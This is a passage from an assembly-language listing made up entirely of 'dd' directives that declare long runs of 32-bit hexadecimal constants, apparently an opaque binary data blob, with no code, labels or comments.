		dd 0C5F72DEEh, 117752h,	691C6BFEh, 0E3D1E8C6h, 38586101h
		dd 0D3AFCDB6h, 2E921C3Dh, 0D65610ECh, 81AAD9C5h, 1AE55DCh
		dd 6E2B154Fh, 0D2A726D4h, 49A9B90Ch, 1C0093Bh, 4C1DC1E6h
		dd 674E1008h, 0B7F4E101h, 0FA4302C3h, 6CDE0240h, 0E010CBF3h
		dd 4674CC54h, 0D28A0FF8h, 98CE015h, 1C24392h, 20FACAC6h
		dd 80EC7233h, 27E5B2A9h, 99DF9AFDh, 0A0CAE1A4h,	60A8404Ah
		dd 2C2678CDh, 467C7CF4h, 0C06A0065h, 42F63A37h,	103618DBh
		dd 0ED6C702Dh, 0F169EB68h, 0F408232Fh, 0D7A800FFh, 48902A75h
		dd 0D101970Eh, 0B3806DA8h, 40C62979h, 3D8C164h,	9F23DEB2h
		dd 4105B946h, 5285DB54h, 2433D0A0h, 2C9C1FBAh, 0E16F1C18h
		dd 919095A7h, 0B4198156h, 0FC75D1E2h, 2D679000h, 0A0B0D401h
		dd 94009E22h, 4BD0908Dh, 48FBD4D2h, 0E74848Eh, 0E8F2F86Fh
		dd 5C932958h, 0C6EA6500h, 1259DFC9h, 0B8673CA0h, 0F342D981h
		dd 0E880C1BAh, 9A09992Fh, 40F07CBh, 78F3ED10h, 4032F4E2h
		dd 18A60F8Fh, 0E154455Fh, 972858D2h, 0F87EF4E2h, 5D9C3B53h
		dd 0F1D218D8h, 9330E49h, 0CE346E8Eh, 0E06A1018h, 0D5E17A12h
		dd 0FE0844E2h, 6C006680h, 0B17A4F2Dh, 44150FF1h, 0C032D9AEh
		dd 0CE43CD0Ch, 85A34827h, 7052C494h, 0AFA0C8B6h, 751D2382h
		dd 87C467BAh, 0B8F24FD0h, 404AFF12h, 0AC75150h,	94908853h
		dd 25CAA3Bh, 45A1479Ah,	948CA04Eh, 0BBCBF8h, 0A9D45DBDh
		dd 0CDA49580h, 18BCD24Ch, 99295545h, 7E4E0063h,	7CCCDEF2h
		dd 0F4001B89h, 8794F5D0h, 133F39ADh, 400C4519h,	0F06AC418h
		dd 9795C01Bh, 4E0E88A0h, 0CCA88960h, 2A381F6Bh,	26628425h
		dd 0E2DCB277h, 0C0543059h, 3E143C58h, 0A2E45057h, 87EF5025h
		dd 269549D0h, 1F1A0F2h,	1B670CC0h, 0B961C4CEh, 0C44C6E2h
		dd 7D43643Dh, 480D5E80h, 7880B445h, 0D29AAA2Eh,	5ADA1400h
		dd 5367E4EAh, 7A710046h, 0E2EC6B0h, 9CA1BC44h, 4A71832h
		dd 9A54DEA3h, 7192C90h,	0B61BA39Fh, 0F7A49086h,	0E23F59E9h
		dd 5890E2AAh, 173E054Ah, 0D58447D4h, 0CA0F3109h, 1B21D482h
		dd 61528003h, 0A4F7868Ch, 0F9EF5E40h, 0F300D99Bh, 5A35D82Ch
		dd 54A671h, 3CA32994h, 36D272E1h, 0A0F4D02Dh, 5CA51768h
		dd 0EB10094Fh, 0CCE6A3BAh, 4BD15091h, 0E05C7618h, 218402ECh
		dd 5485CB54h, 8DCD1224h, 0BC1C6C20h, 0BE008C64h, 0B648D231h
		dd 1C2A6Bh, 0C2D5B170h,	0C01D6802h, 57488D77h, 0F08B4F44h
		dd 27C259C8h, 6D3C4266h, 0A4FBE0ACh, 0F96901h, 3EC934EBh
		dd 0E303F8DEh, 0A40E46Dh, 0D7779107h, 57F07F81h, 168C37E6h
		dd 8B581D01h, 0C1DDC8E4h, 3FD0C951h, 9A80E825h,	560B55Ch
		dd 2CA7B81Dh, 3DF82071h, 0A4E93B79h, 7120078h, 780A58E1h
		dd 9DC011C8h, 16E743D9h, 4CDB036h, 257FCACh, 0F9EFF6ACh
		dd 0D64C783Ch, 0AECE0986h, 0DC827E7Ch, 8D013E54h, 2F2A4249h
		dd 0D7981028h, 5009B0C7h, 0E87B715h, 0C5B430E9h, 733C9001h
		dd 0A4E1BB53h, 57293C78h, 4E0AD0C0h, 85B50A86h,	3F98FE59h
		dd 2840F176h, 0BAF9C8E1h, 0A8D0C430h, 12640966h, 7974793Ch
		dd 0C2C185Ah, 0E067667Ah, 0D2000DA9h, 0F0FD444Eh, 0ECE0FCDh
		dd 0A5C8C619h, 5EC0ADE3h, 0AF2C9EE8h, 1C0C455Ah, 12D5511Ch
		dd 4DA7B19h, 0BC53E108h, 59D4109Ch, 0F00EFD01h,	82B46BC4h
		dd 0BB21D331h, 71106237h, 74CCACBCh, 67485846h,	0E4DB960Ch
		dd 59F0B788h, 0C0D8E624h, 0A4674h, 0FB7AF2C4h, 0F135AEC8h
		dd 23FC2F3Bh, 67E10B4Bh, 1E456068h, 2D50151Fh, 6100495Dh
		dd 9358F273h, 0D850BBEh, 1586A765h, 0A880316Ch,	354B4B69h
		dd 4252A480h, 25CC92A0h, 0D8CB419Eh, 3A4590C9h,	97C82840h
		dd 0C3486601h, 0BB5E8F11h, 2F4CE0CCh, 0D596C817h, 517FB1Fh
		dd 5FD88C05h, 78BED01Dh, 0D61CF504h, 0E0B8EB81h, 0E5E9909h
		dd 0F6E4A865h, 50DB4A60h, 0B9C36B12h, 0A1BC8C4Bh, 0EF469EC0h
		dd 0E354C184h, 0E00E8E1h, 0A98639C6h, 9708F04Fh, 0E807143Dh
		dd 0A943F067h, 62A0077Fh, 32EB509Eh, 4884BBB2h,	0E1ACF23Ah
		dd 7A0CBFEBh, 7B2C8500h, 966C048h, 0F721084Fh, 4C2657E7h
		dd 0EB19D361h, 17CF1989h, 64796C51h, 6752F819h,	3ECA5400h
		dd 6ED15EF4h, 94FD03C7h, 0E7F8C6BDh, 5840CD98h,	78846B34h
		dd 0F63BB004h, 2C8EECD5h, 9BC00F88h, 556F5A5h, 29C35582h
		dd 0EC9809BBh, 0A108E006h, 7DCA094h, 49A7FA5Ah,	0FE60106Eh
		dd 0B2804AD4h, 0A4D12DDBh, 0F5645C47h, 0C007C064h, 3D188FF8h
		dd 0FCF1E172h, 0FBF4009Eh, 7937DBBBh, 0A71D933Fh, 9500321Bh
		dd 6F019648h, 30D86404h, 0F5988091h, 0CE80DAAEh, 0A429F088h
		dd 0E21F20E8h, 9298F74Ch, 3500306Fh, 0C57E3151h, 5494DB58h
		dd 0EB214D05h, 740118B8h, 5F19D70Bh, 0F070A0D6h, 88926321h
		dd 770E4AF3h, 0C145EFC7h, 836934Dh, 8CB0003Ah, 0EC0319CDh
		dd 74B140D2h, 0C0D77E42h, 5AF03620h, 639C402Dh,	0D1D08713h
		dd 3B8460B4h, 5E016224h, 8059BDC3h, 6BBFA718h, 9DFC1382h
		dd 351C7837h, 4D146B40h, 1CEDCF05h, 26E7A108h, 809B11B0h
		dd 0D22B0C4Eh, 0A26E8C43h, 0C470021h, 7CF57Dh, 6C1F7320h
		dd 2894C911h, 7C248C4Ch, 0FF00A7E6h, 0EF3B3CEBh, 353D595h
		dd 0FC4D2C3Fh, 45B39C0Ch, 6694D0B4h, 2B0F4BE6h,	5F1F42F5h
		dd 89CEC9h, 71D3B044h, 0CC1250DBh, 0C34700CFh, 9E5B6E5Dh
		dd 3491687Ch, 0CB8B0400h, 5AF80B7h, 2613D0BBh, 7D04801Ah
		dd 70909A18h, 0B0B5F920h
		dd 9095021Ch, 1078C716h, 0D10A805Eh, 0D23B3469h, 3098F288h
		dd 1B07E1AAh, 15B0EF4Ch, 54797Bh, 0BE1C40D6h, 9B51DB02h
		dd 5B19BAE4h, 0DDC4E4CBh, 0A31F304Dh, 0D4E05C7Ah, 9A145B20h
		dd 4A2CF08Fh, 9EC4B88Bh, 9D6B30D7h, 8D9400C8h, 744F9CFh
		dd 3F097671h, 584D3781h, 288810F0h, 92E84EF4h, 29CCE109h
		dd 349EB0C4h, 7DEB4656h, 0F1006AFCh, 663CDAF8h,	50C321D5h
		dd 34C411h, 0E9B96E95h,	320D088h, 6D4ADB00h, 18C9E71Ah
		dd 146DFF4Bh, 0CB79550Bh, 72C4D820h, 5F014E04h,	4357AFE1h
		dd 0B9A46888h, 0E0270824h, 91B08F05h, 7F23C801h, 0D833FC7Bh
		dd 0E6300AA2h, 5B111E60h, 5F1381CAh, 2873DB17h,	8C5CB808h
		dd 2D182F00h, 0D579E3BBh, 6B7AF309h, 0C24B02F4h, 407D2BD5h
		dd 5F3A515h, 0B7793E49h, 24E4E8F8h, 4F00186Ch, 8C9CE8C9h
		dd 0D8D40F72h, 3A8BDB9Eh, 0E6005C3Dh, 118D766Dh, 81CB1353h
		dd 803CF447h, 896588h, 0B049A1A0h, 8396FA78h, 18F3D3Ch
		dd 0AFC83291h, 0AA709C01h, 0C43400A7h, 38E06B3Ch, 0B9D9951h
		dd 70F8DB50h, 300742Bh,	5E431223h, 6F87BAh, 0D105F62h
		dd 9B6ADE78h, 60116C9Ch, 39810849h, 0F42445D7h,	59DC4F9Ah
		dd 34D04413h, 6708ADh, 50215F06h, 0EAD9523Fh, 0E9857500h
		dd 0E26B3018h, 412D4E17h, 0FD5EBF28h, 62A0245Ah, 503BC05Ah
		dd 2C04370h, 0BB4368FAh, 0ECB08193h, 0C478B5B9h, 8CC143Dh
		dd 0D64351FCh, 5E81FA00h, 0A66D0E9Fh, 992DDA01h, 0B225D234h
		dd 5F4F608Bh, 11799059h, 2A773B18h, 8364FA2Ch, 5A826D00h
		dd 0B350F6F4h, 93441684h, 0CFC8F59Ch, 57711A13h, 6E14B4F8h
		dd 706701h, 18C06CE1h, 3CE45A5h, 21AA3B6h, 0A9F07C24h
		dd 4A250E81h, 60ACCD77h, 0B31A2572h, 3189DE05h,	5CB2E114h
		dd 0E6811500h, 0E2DFECF8h, 3F5D0700h, 0B555A595h, 2309004h
		dd 75C19EBFh, 0A845804Ch, 194DDBE2h, 4B588798h,	0C5C72B81h
		dd 41135272h, 14264AD0h, 91969402h, 64D9F465h, 968C2660h
		dd 5D2F006Ah, 0B17A18C2h, 9F19A1E4h, 0FF71DCCEh, 0DE8C447Eh
		dd 7411C03Ch, 1C76E065h, 52EF2809h, 76000CEh, 98AFBDE9h
		dd 5E4C9410h, 0B00F746h, 325D22FBh, 40958719h, 2060CEACh
		dd 0FF13F46Bh, 98E4C668h, 94A98AEh, 904A543Dh, 167080FBh
		dd 10EF3FCFh, 0AF5A00F0h, 0C08C82FAh, 0CBBD597h, 4FE973Ah
		dd 1A88CC49h, 11741744h, 8E2480F4h, 0C435403Bh,	0E2EA858h
		dd 981D46ECh, 80649870h, 9B9154ABh, 6C163F2Ch, 8FE85799h
		dd 0C0538830h, 0F50950B1h, 0C28F550Fh, 0E16747B6h, 0FD872808h
		dd 0B1F49331h, 0CBD83FD6h, 0A2F73D80h, 2758C566h, 8C058D4Ah
		dd 0AC958B69h, 25E3D8D3h, 0C4237289h, 90DFC3E2h, 176CE39h
		dd 69AA2313h, 0ECF34C56h, 0C4E10B1h, 0D2840487h, 0AB064B21h
		dd 7770CC02h, 8CB804EEh, 0EF06D9C4h, 772E08Bh, 23F60041h
		dd 0AA7FBE4Fh, 9B39CFC3h, 0A02801CAh, 0DF684CF1h, 0E189A4h
		dd 0D7C9B0E3h, 4195F381h, 16EC99BCh, 0A9950445h, 0B8EE4EF1h
		dd 434BB858h, 0C4310BD6h, 4104856h, 44362FDAh, 0F86C4CE0h
		dd 0F1A15A02h, 670ADBA4h, 4DF842A4h, 0D4DC18h, 0D64793CDh
		dd 562EBAC6h, 54686962h, 0F4450034h, 1F9DBFEFh,	809E116Ch
		dd 1DAEF73Ch, 0F5BE0490h, 0B999E1D6h, 0AB0B8A4h, 50BA7D4Fh
		dd 0D588094h, 48986C53h, 7304A900h, 0AF5FD892h,	0E410211h
		dd 0EF676043h, 0A8058FCh, 36DBA285h, 875B40ACh,	0C8C69F00h
		dd 0C43C90A7h, 0D771C05Eh, 8675E06Ah, 0F21872E5h, 36263066h
		dd 8E53DA38h, 62E15B65h, 0DEEEA445h, 8212DED0h,	6004FCF3h
		dd 0FF04FA27h, 42EB4565h, 0F054A80Ch, 0C3484B68h, 2100E8B4h
		dd 978C5277h, 1CBAA70h,	994E2CA7h, 0ED40CD84h, 0A708634Bh
		dd 0D430C004h, 0B82A4685h, 0B102A43Eh, 0A74F1756h, 83C8E33Ch
		dd 0EB312E68h, 507540C4h, 979D7C99h, 0D64B8840h, 0F6671E62h
		dd 19CA80B8h, 0FCC6D2D0h, 95EECD3Bh, 4EB0643Dh,	48C1C0DAh
		dd 7857213Eh, 73905C4h,	0FE80400Dh, 1349F4Eh, 0A6AECEFDh
		dd 6F32E9E8h, 382E2C34h, 9D1D5923h, 6AD36902h, 4E4DEABh
		dd 0BCB649E3h, 0B8E8D410h, 4E430Fh, 0E679AB53h,	4D58C1Ah
		dd 0FD5EE257h, 8114BC4Eh, 0C80A6877h, 2B1CEC0h,	0E0F78D02h
		dd 5ED652h, 7D096059h, 539A8B8h, 5B70CD6Ch, 254CB8F8h
		dd 0F284819h, 270C92D9h, 5CEA356Dh, 4D61854h, 2B653620h
		dd 3041ABD8h, 0D95079E3h, 0EBE84468h, 5463008Ch, 923F5017h
		dd 0B490D8A2h, 78E1C544h, 4C6C795Eh, 3A4B14D6h,	4E1010C0h
		dd 3EF881DEh, 20E86779h, 8EB74838h, 0CA01B174h,	0CCDC9EC5h
		dd 0E89C417Ah, 78226F0Ch, 25987188h, 944094EDh,	26DB81F1h
		dd 8283A6Fh, 0F5085BCBh, 3BA68192h, 7161EF7Fh, 0E2D98538h
		dd 0E80653AFh, 44318D3Fh, 950C15EAh, 50D2C5D9h,	1701F79Bh
		dd 0D95C5671h, 82DB20C8h, 7D379D1h, 0A4DFCCC0h,	4B7FD43Ah
		dd 9941CC8Ch, 0BFEA784Ch, 0BBE10386h, 0C67ECDB2h, 3A80BCA5h
		dd 0F0C702E0h, 11F88B14h, 0FF260B2Fh, 0A023470Ch, 0F8E0EEFh
		dd 57412801h, 9BA6F96Ch, 127BC2C0h, 0B0EBE999h,	47009A34h
		dd 2E440F6Bh, 919BF0D6h, 4DF8D00Ch, 1B7E0086h, 0AAF182DCh
		dd 3603A575h, 0C8CDA0F0h, 48869290h, 1D7BAA4h, 0EA9456D0h
		dd 2567F78Ch, 98203E50h, 1789F9h, 6C1845B3h, 0B5EED450h
		dd 660BC80Bh, 0C008ED4Eh, 647513AAh, 0CE8F0500h, 2721D414h
		dd 94A3B74Ch, 0AD95DCEDh, 779AC18h, 0C9A8697Eh,	80709135h
		dd 0E82420A7h, 88ACCC83h, 5BE0A846h, 8D0051ABh,	9ACC4010h
		dd 5AC741BCh, 4B383EE6h, 932D98B6h, 2894BCE4h, 6B0D00DCh
		dd 7E3B72C9h, 0D106207Dh, 0E5CDE16Ch, 0A0CB0489h, 0E8899358h
		dd 85CC3F80h, 0AD60ECAAh, 59E8B0A8h, 0E83F018Ch, 56673515h
		dd 0B0082FE5h, 9FDB06FDh, 0BF0BA13Ch, 329147h, 0F30E9ED8h
		dd 28890E3Fh, 73405199h, 36186CE2h, 0C430315Fh,	0BAECCB4Fh
		dd 0DC809E04h, 3970E700h, 2D658C3Ch, 75890090h,	0D4C01CA0h
		dd 60BC25D9h, 54F04601h, 687C8DD3h, 3B39C607h, 5EEF1350h
		dd 86BFC9D1h, 0E2EA9818h, 1C8CA594h, 806F4113h,	6090D2F6h
		dd 0FC01A278h, 0DA336401h, 40ADA1EDh, 159798C4h, 8065914Ch
		dd 0D50633E2h, 451A12D4h, 0D474594Fh, 0D3888070h, 648052E1h
		dd 95673EFh, 0EEC27B4Ah, 0D51DCC71h, 98D11796h,	0D47D7496h
		dd 8A61C0ADh, 8CF7AA09h, 91984844h, 9D0C0079h, 0DEB0CA2Ch
		dd 3C0E0ECDh, 6025F5A4h, 9F58D2FFh, 6FA281F6h, 0D0E2C012h
		dd 983359F2h, 12CAC6CFh, 4433150Dh, 0B43B9E60h,	0CE3C1D9Ch
		dd 4227817Eh, 193E99E8h, 2D53E840h, 0CFA80334h,	0EB596301h
		dd 8089305Bh, 7C15F402h, 0D67F84A8h, 5C74E4F5h,	93CB6900h
		dd 1C37D17h, 0F9796B6Dh, 0E1C0C86Dh, 5C554A15h,	4F1DA80Ah
		dd 66DE406Dh, 0CEE2B2DDh, 430C9099h, 1F694Ah, 6FC1A836h
		dd 70DEA7B0h, 0D74D3000h, 5CD5A287h, 0ACA9B79Ah, 7259A87Bh
		dd 5020ABC5h, 64A09D3Bh, 89B6CF8Dh, 80F1D112h, 0D825F8E9h
		dd 0AE4BC65h, 0DB731860h, 0D467AF18h, 0B42839h,	0DF29BB37h
		dd 3F834660h, 0D85B9C00h, 0DD80FBA2h, 803D4BB9h, 0DFAB9900h
		dd 470BECB9h, 0D960D9ECh, 791861h, 0B2778801h, 0A74A3943h
		dd 9F0EDA0Fh, 0D93D4B2Bh, 0C08D012Ch, 985E4022h, 0DB8856A4h
		dd 0CB53137Fh, 4145279h, 0EB265DD8h, 1400646Eh,	51289406h
		dd 8702B39Fh, 4C3BA756h
		dd 124E0059h, 0E21895CEh, 9E39E380h, 0F6A72C2Ch, 0FEC04F34h
		dd 0B0363403h, 0A0A34A30h, 8A05B9E5h, 3A7920DCh, 0E284620Dh
		dd 683230F5h, 12D1478h,	0BF18EEEEh, 0B4006035h,	51024E58h
		dd 55CA0016h, 36DB0FB7h, 0B8CB5204h, 879C90F4h,	992A00A9h
		dd 20E9CFCBh, 0FB04C717h, 0AFC9F540h, 442C2AC1h, 9F172066h
		dd 16C4B33Fh, 30F3795Dh, 0F8C71904h, 265E0058h,	0BACC4365h
		dd 0C35609D8h, 7071B615h, 2ED34110h, 662394h, 8CE59D5Ch
		dd 0EA404B19h, 0F5F340FBh, 47C6082Dh, 0C0086E74h, 2B64F560h
		dd 9802976Ch, 605E1153h, 0F9465Eh, 401C25E5h, 75189BF2h
		dd 3F640F7Dh, 6B82CD0Dh, 8864F627h, 0BEF22A00h,	0AAE2ACFDh
		dd 2C18D419h, 9C52510h,	0ED8074FAh, 0B1C660C4h,	461A8592h
		dd 0C0D05550h, 1F7820Ch, 0D31E77FFh, 0F161F4EEh, 80DA2E81h
		dd 6EC007C0h, 7D143B08h, 10C426FEh, 9002934Fh, 773A5465h
		dd 80A0B577h, 0BE05CE51h, 0E0039A9h, 0D0D10B68h, 4A3BB2DBh
		dd 0B3DCB7ECh, 21AF90C3h, 208C909Ch, 45092F14h,	59A6DA6Dh
		dd 5CCCA4D8h, 7000446h,	0CD025DD8h, 0B000D5ACh,	48D75C3Ah
		dd 174FC8FCh, 0DA81C0BBh, 34C0C110h, 7C74E1CAh,	0E04425D0h
		dd 0FCA624D9h, 799600D6h, 819E0A62h, 56768E50h,	70D2F00Bh
		dd 352CA4FFh, 0F14DE882h, 0FC5AA508h, 0C08C6D9Dh, 0F6515AC5h
		dd 0A6C8CD01h, 482C19D3h, 6396080h, 6F9CE4F0h, 0D3F4AB95h
		dd 0F4AD7198h, 6504A392h, 5D7DB6BBh, 0F00C27EEh, 0A68E0C4h
		dd 9B6D6709h, 1D2C5245h, 1EAB7D55h, 46F08BDCh, 0ADDEAC18h
		dd 0A0EBC90h, 81E97E35h, 9172D13Eh, 91449ED8h, 5EF40CB8h
		dd 1FFE7D89h, 61465200h, 1A48E899h, 621D0024h, 3AEEF553h
		dd 68B8C837h, 0C6560BA0h, 1DFF39C7h, 0A302ED00h, 0C3BEF8C7h
		dd 0F863CB19h, 52C5A902h, 7E85AC3Ch, 0DB215E7Ch, 0A6B7964Dh
		dd 24ACE094h, 1F1914D6h, 0A800D841h, 7213F7A1h,	0BE95F1B1h
		dd 0B7C80168h, 0FA5CFC2Fh, 0CC84C053h, 0D6999400h, 0F6395872h
		dd 8AD20082h, 774DF75Bh, 4E0002BCh, 8E8347E9h, 18C84895h
		dd 4049FC7Bh, 3B008FE0h, 0D67D7726h, 0CC8D7F4Fh, 0BA21D908h
		dd 0FC3B9713h, 76EA3D03h, 0E91900F6h, 4F2141BDh, 790CEEE2h
		dd 90F71B0Ch, 0EDFA004Ah, 0CAF90E7Eh, 0D213CC72h, 0FA03E868h
		dd 3218ADAh, 7C3EB098h,	5018FF5Dh, 0E659EE76h, 7DE5F045h
		dd 4FA70089h, 2FA095C7h, 8B77AA52h, 0F67B8D1Eh,	0CD489605h
		dd 3B946420h, 65772333h, 0BB01EB11h, 81FB3B9Ch,	0FFF9E09Ah
		dd 55229818h, 0A733B1h,	0B3D69202h, 0BBCEF62Dh,	0A16C08CCh
		dd 2AF000Eh, 0D0BE5E4Ah, 800095CFh, 9A53A42Ah, 390AD1AEh
		dd 0B4D4B475h, 0ECDA0F85h, 541405DEh, 8CEAB8h, 0CAF6A896h
		dd 0B57AB186h, 46E9AE00h, 4C3FD4F8h, 87F6A3CCh,	8FFA5100h
		dd 0AE23038Ah, 0F77BF13Eh, 9E414900h, 0BB7742F9h, 74A9000Ch
		dd 0A829D1F8h, 2106CA99h, 632293B0h, 5A6400E1h,	893C54F2h
		dd 553EEE11h, 4E9D8C10h, 0DC58A2h, 58928C05h, 516F67CFh
		dd 98B343Ch, 2E4016E3h,	8FC6C044h, 36D5B2h, 81683E42h
		dd 24C0182Ch, 842651h, 0FCE1AE98h, 0DA001492h, 898B3D29h
		dd 314DDC1Fh, 0E080F81h, 0BC208054h, 0EA023D21h, 76A5002Dh
		dd 432E8729h, 5E24D283h, 2C202457h, 81E09921h, 898E3D28h
		dd 88061807h, 3D1320B7h, 0B91399B3h, 0D9F2E103h, 1150044Dh
		dd 866D3EDDh, 0AD525858h, 3D2C0258h, 3127898Ah,	0BB2180D4h
		dd 891B3D24h, 0AD8B00A9h, 0BC74FDE9h, 50C5655Eh, 0B840D1FFh
		dd 68D47353h, 0CF57CBAh, 28C9F289h, 7D0AA080h, 0F8D99655h
		dd 8A6AD60Fh, 6802F402h, 4595A52Fh, 60E3E428h, 8AED4Eh
		dd 631925Ch, 0EE4CF4E6h, 74BA7627h, 46882898h, 2A20197h
		dd 2C8BD6D1h, 0D88720Ch, 1A0207AAh, 0C0CF8EC4h,	1894328h
		dd 46168A12h, 2F00085Dh, 0A87ACC8h, 0B0480036h,	0E0D4EF52h
		dd 68CA5C0Dh, 0FA80C822h, 0EE47F32h, 0BCF55479h, 25138CAAh
		dd 0A0A8F3Dh, 0D564BCDBh, 3D1DB840h, 0FD033283h, 0E2C95834h
		dd 7B72C087h, 1F84A8F2h, 97060011h, 9B8F2AC5h, 80006D39h
		dd 737AA238h, 78B47F25h, 30E0904Eh, 0FF58514Ah,	0A0C105CDh
		dd 84F27553h, 92381420h, 79A4913Ch, 28818EBh, 747AF5E3h
		dd 0EE0E48FFh, 90DB060Ah, 24249011h, 2186A06h, 0E4FED27Bh
		dd 3F802463h, 98D24C76h, 5D23603Bh, 32A35A00h, 0D24D813Eh
		dd 0A0240339h, 0C0B050F9h, 0F1487A76h, 0A963753Ch, 0CABC75B9h
		dd 378C825Ch, 0FF4885DBh, 8DB41009h, 0E744203Eh, 0C0995048h
		dd 0D69302A8h, 5F22BB46h, 2B01300h, 487A90BAh, 0DC5A7A25h
		dd 2242661h, 7EA32398h,	3140C09Ah, 0A5000296h, 1188DCC8h
		dd 29FA30EFh, 13C92FFh,	0D69402A5h, 886618A3h, 239AD14h
		dd 85D28726h, 0B4E26FD6h, 9858C8C2h, 9B2403D7h,	431820FAh
		dd 0CF2A9101h, 0AFC0B094h, 0C832C461h, 87005422h, 0DA6E94C7h
		dd 4AA88B4h, 1EF71AF1h,	0C138C3A2h, 0FB9528F0h,	23763E18h
		dd 244B4EA9h, 1F403FCh,	0CD3286EEh, 96CC2446h, 2B1048Ch
		dd 6483D6D0h, 99106800h, 2BBA05h, 294C4021h, 4296C477h
		dd 24CAD0A0h, 0FF22FC98h, 15301D5h, 0F4407039h,	2010653Dh
		dd 0DC044F9Ch, 0D89686C0h, 4DAC0891h, 80481701h, 24E850E9h
		dd 28BF7AE0h, 4694FFC3h, 9499021Eh, 31BFC0A6h, 0D1891055h
		dd 60710194h, 0B830DD0Ah, 93D4E874h, 0E97A7001h, 1A28BFEEh
		dd 0AB0861DAh, 3D083218h, 70F78994h, 3D032ABDh,	626F913Bh
		dd 0DE42900Bh, 0C5D800C9h, 2351405Bh, 58C8791Ch, 3D26C0AFh
		dd 17218990h, 0D291DCh,	0E93D1EC1h, 42BE3F3h, 9ADA821Ah
		dd 1488052h, 0FA5213B8h, 3060F2D8h, 930C79BFh, 39592241h
		dd 0E88A07A4h, 51EAF4C8h, 0F8B283CEh, 0AA3B93DFh, 42CA8C22h
		dd 36A27823h, 0D0A1F9ABh, 2B02B046h, 0F89913Dh,	80540D30h
		dd 3D0123BAh, 42D72BCEh, 430E534h, 0D3FF1269h, 0B1043FEh
		dd 310005E1h, 0D67994BFh, 3D0BA51h, 9E70B58Dh, 748A8366h
		dd 0DC45C642h, 0EC60D3E4h, 0F700D03Ch, 0A208ED2Ah, 48726D5Ah
		dd 8E033CEFh, 0CB034E17h, 0F004519Bh, 6352BCFDh, 1D80D090h
		dd 21FA239Ch, 0A544941Ch, 0D865C7C0h, 44067E98h, 39EEDAE9h
		dd 20649058h, 0E34F4382h, 0A218C8A8h, 218B686Ch, 737D9A03h
		dd 0E869B028h, 26106E7Ch, 475476A9h, 1412B01Ch,	8B1D6873h
		dd 0DF944A88h, 8AF00A8h, 2F793496h, 33FD35EBh, 0C80CCB70h
		dd 0BA01C0E4h, 0DB076785h, 6E292B48h, 0A0F6C202h, 0D8196FA8h
		dd 36BB06EBh, 80DC546Bh, 24FBB92Eh, 0E7160A90h,	23203AABh
		dd 0E6003A60h, 0DC9A9862h, 4094106Ah, 0EF387A01h, 1884791Bh
		dd 440EA042h, 20D0EA8Dh, 5868C3EEh, 0D444FFFFh,	247E0F42h
		dd 38A08D96h, 9478B7D6h, 114A5803h, 40E9C972h, 8CCA94F9h
		dd 2C3B9105h, 78CE8D77h, 3B99C000h, 41D9A302h, 140FCD01h
		dd 7ABDD2BAh, 7C4AFAF1h, 9CC15FC8h, 0D8E47EEDh,	5E162491h
		dd 3F708024h, 0CC47B5D4h, 225FA600h, 0EC0EAA87h, 0D150E92h
		dd 0B800F66Ch, 9A502308h, 801DF932h, 2A63093h, 0ABD69514h
		dd 0AE11E0BCh, 643C0302h, 0ABE4CC7Ah, 2858C1C5h, 2AB830A8h
		dd 9495048Ch, 389FC0A2h, 94CD008Dh, 7A6E9047h, 27009B61h
		dd 125A51B9h, 48637859h, 9C2CF401h, 57465E78h, 1866330Eh
		dd 0ACDCE8AAh, 0E8467490h, 8A5D5600h, 7D899A4Ch, 3ED47209h
		dd 0E41C6549h, 84E16006h
		dd 54C4488Ch, 450CCE17h, 0C9B477E4h, 26F03068h,	92182381h
		dd 0C0A7940Ah, 8A5078B7h, 629403CAh, 52C951FFh,	0A3C4E6B0h
		dd 6779BA03h, 0F9750F15h, 0AFD05599h, 117C60C1h, 4A23CE9Bh
		dd 7EB1F209h, 8CD0C95h,	3821C067h, 0C0BD23C6h, 66B60803h
		dd 0E0CC7778h, 0E8641D28h, 8275307Bh, 2CE9CEDEh, 0E179970Ch
		dd 0C06D0854h, 0BC429F21h, 0A30FE00Ah, 61EDFC24h, 7E607663h
		dd 618E70F0h, 136728A1h, 0B0545223h, 4BF8CF31h,	7EA946F2h
		dd 1C73988h, 97D2EF23h,	0D0FE2ACCh, 0B4F0A5EBh,	0E89B6240h
		dd 72D33044h, 0D6B55511h, 0C6FC1E01h, 9EF47775h, 21910898h
		dd 0D600ADB8h, 7D9F455Dh, 0B2A982h, 2FF4B722h, 92A465C7h
		dd 3A1F1E4Ch, 0FA799F7Ah, 7E5B39C1h, 0D08098E0h, 33053862h
		dd 5E00DBFBh, 0F4D5EB94h, 5699CD4Dh, 511EA02Bh,	54E9C8BCh
		dd 0A2407CC4h, 0D7FEBC49h, 810FA100h, 0EE59CAF4h, 0B8FB0538h
		dd 188F5F8h, 0BE4497CCh, 2CD042ADh, 11BC4E30h, 884CE9CAh
		dd 46A3807Ah, 109E5ABCh, 0EBFD030Ah, 0B311C0D8h, 4E23CA80h
		dd 187D1F2h, 0F623C23Ch, 0A44530C3h, 0D8EE8B00h, 0E1CF42D9h
		dd 619E0BEBh, 620C935Fh, 0F8517030h, 7E89FF40h,	0F2209F90h
		dd 34436112h, 0BD9F1457h, 68810C04h, 28E44Ah, 0AA52EE70h
		dd 945074E6h, 15125CC4h, 30006920h, 19E8F509h, 0E938C193h
		dd 4175F71Bh, 0A14D28h,	0C97A1C67h, 0FE06F4C9h,	890D188Ah
		dd 3091CEE4h, 30AD8802h, 4C1123D0h, 6588A1F2h, 23C83680h
		dd 1E26BA9Ch, 5E1FF927h, 800C244Ah, 5BCCA57h, 5900EE65h
		dd 8BE02C9Fh, 22C30A45h, 0D67B6D1Dh, 0D4396C00h, 9B7364EFh
		dd 0F09C0C92h, 0B7A08D89h, 0B0069E0Dh, 704EF876h, 68C08788h
		dd 903384AAh, 13EA0D6Bh, 23F0815Bh, 3066A214h, 970F1E84h
		dd 0EE486F18h, 0B1F1D8E9h, 0B9F018F4h, 1EC0B88Fh, 6F1DC518h
		dd 0FAAEB3E9h, 0EE0A0057h, 0BE855D25h, 5100617Fh, 785831E6h
		dd 2CC684E7h, 97C6217h,	10B74BC2h, 0A9F95380h, 94D2E1Fh
		dd 78640DFAh, 0D1181400h, 140B8C8Fh, 15C1C55h, 0AAEC2E58h
		dd 40711420h, 48021869h, 1E83B0A1h, 47B884BBh, 25D6BC60h
		dd 11AEFC23h, 0B4B3008Dh, 856A5BD6h, 1CBC15FDh,	57038068h
		dd 0D15E98AFh, 0B1DB6BA8h, 0EF77F600h, 1A4E15B5h, 6229C75Fh
		dd 4AC5413Fh, 79118096h, 20BB3223h, 5E591938h, 0BD830918h
